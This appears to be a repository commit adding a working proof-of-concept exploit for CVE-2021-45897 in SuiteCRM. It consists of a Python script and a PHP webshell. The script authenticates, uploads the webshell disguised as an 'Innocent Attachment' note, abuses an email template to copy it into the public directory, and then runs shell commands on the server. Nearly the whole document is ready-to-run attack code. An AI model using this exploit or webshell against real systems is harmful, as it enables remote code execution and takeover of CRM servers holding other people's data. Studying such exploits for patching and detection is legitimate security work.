Working PoC

Author: manuelz120

README.md

@@ -1,2 +1,3 @@
 # CVE-2021-45897
+
 CVE-2021-45897

exploit.py

@@ -0,0 +1,127 @@
+#!/usr/bin/env python3
+
+import requests
+import click
+import logging
+from bs4 import BeautifulSoup
+
+logging.basicConfig(level=logging.INFO)
+logger = logging.getLogger("CVE-2021-45897")
+
+
+@click.command("CVE-2021-45897",
+               epilog="https://github.com/manuelz120/CVE-2021-45897")
+@click.option(
+    "--host",
+    '-h',
+    default="http://localhost",
+    help="Root of SuiteCRM installation. Defaults to http://localhost")
+@click.option("--username", '-u', prompt="Username> ", help="Username")
+@click.option("--password",
+              '-p',
+              prompt="Password> ",
+              help="password",
+              hide_input=True)
+@click.option("--payload",
+              '-P',
+              help="Shell command to be executed on target system",
+              default='whoami')
+@click.option("--is_core",
+              '-d',
+              default=False,
+              help="SuiteCRM Core (>= 8.0.0). Defaults to False")
+def main(host: str, username: str, password: str, payload: str, is_core: bool):
+    host = f"{host}/legacy" if is_core else host
+
+    session = requests.Session()
+    login_response = session.post(f'{host}/index.php',
+                                  data={
+                                      "module": "Users",
+                                      "action": "Authenticate",
+                                      "user_name": username,
+                                      "username_password": password,
+                                  })
+
+    if "&action=Login" in login_response.url:
+        logger.error(
+            "Login didn't work. Are you sure you specified the correct parameters?"
+        )
+        exit(-1)
+
+    logger.info(f"Login did work - Planting webshell as Note")
+
+    # Plan note with webshell payload
+    response = session.post(f'{host}/index.php',
+                            data={
+                                'module': 'Notes',
+                                'action': 'Save',
+                                'isDuplicate': 'false',
+                                'name': 'Innocent Attachment',
+                                'return_module': 'Notes',
+                                'return_action': 'DetailView',
+                                'relate_to': 'Notes',
+                                'offset': 1,
+                                'parent_type': 'Accounts',
+                                'deleteAttachment': 0,
+                            },
+                            files={
+                                'filename_file':
+                                ('exploit.zip', open('webshell.php',
+                                                     'rb'), 'application/zip')
+                            },
+                            headers={'Referer': host})
+
+    if "/legacy" in host:
+        note_id = response.text.split('&return_id=')[1].split("'")[0]
+    else:
+        note_id = response.text.split('_form.return_id.value=')[1].split(
+            "'")[1]
+
+    if not note_id:
+        logger.error("Failed to create note with malicious payload")
+        exit(-1)
+
+    logger.info(f"Note with paylaod located @ {note_id}")
+    extension = "php"
+
+    # Create email template to copy payload
+    base_host = host.replace('/legacy', '')
+    email_template = f"<img src=\"{base_host}/index.php?entryPoint=download&type=Notes&id={note_id}&filename=pwned.{extension}\" />"
+    response = session.post(f'{host}/index.php',
+                            data={
+                                'module': 'EmailTemplates',
+                                'action': 'Save',
+                                'name': 'Pwned from script',
+                                'return_module': 'EmailTemplates',
+                                'return_action': 'index',
+                                'relate_to': 'Notes',
+                                'offset': 1,
+                                'text_only': 0,
+                                'mce_0': email_template,
+                                'body_html': email_template
+                            },
+                            headers={'Referer': host})
+
+    expected_payload_url = f"/public\/{note_id}.{extension}"
+
+    if expected_payload_url in response.text:
+        payload_url = f"{host}/public/{note_id}.{extension}"
+        logger.info(f"Successfully planted payload at {payload_url}")
+
+        logger.info(f"Verifying web shell by executing command: '{payload}'")
+
+        response = session.get(f"{payload_url}", params={'cmd': payload})
+        soup = BeautifulSoup(response.text, 'html.parser')
+        result = soup.find(id="output").string.strip()
+
+        logger.info("------ Starting command output ------")
+        logger.info(result)
+        logger.info("------  Ending command output  ------")
+        logger.info("Enjoy your shell :)")
+    else:
+        logger.error(
+            f"Something went wrong. Status code: {response.status_code}")
+
+
+if __name__ == "__main__":
+    main()

requirements.txt

@@ -0,0 +1,9 @@
+beautifulsoup4==4.10.0
+certifi==2021.10.8
+charset-normalizer==2.0.11
+click==8.0.3
+idna==3.3
+requests==2.27.1
+soupsieve==2.3.1
+urllib3==1.26.8
+yapf==0.32.0

webshell.php

@@ -0,0 +1,15 @@
+<html>
+   <body>
+      <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
+         <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
+         <input type="SUBMIT" value="Execute">
+      </form>
+      <pre id="output">
+         <?php
+            if (isset($_GET['cmd'])) {
+               system($_GET['cmd']);
+            }
+         ?>
+      </pre>
+   </body>
+</html>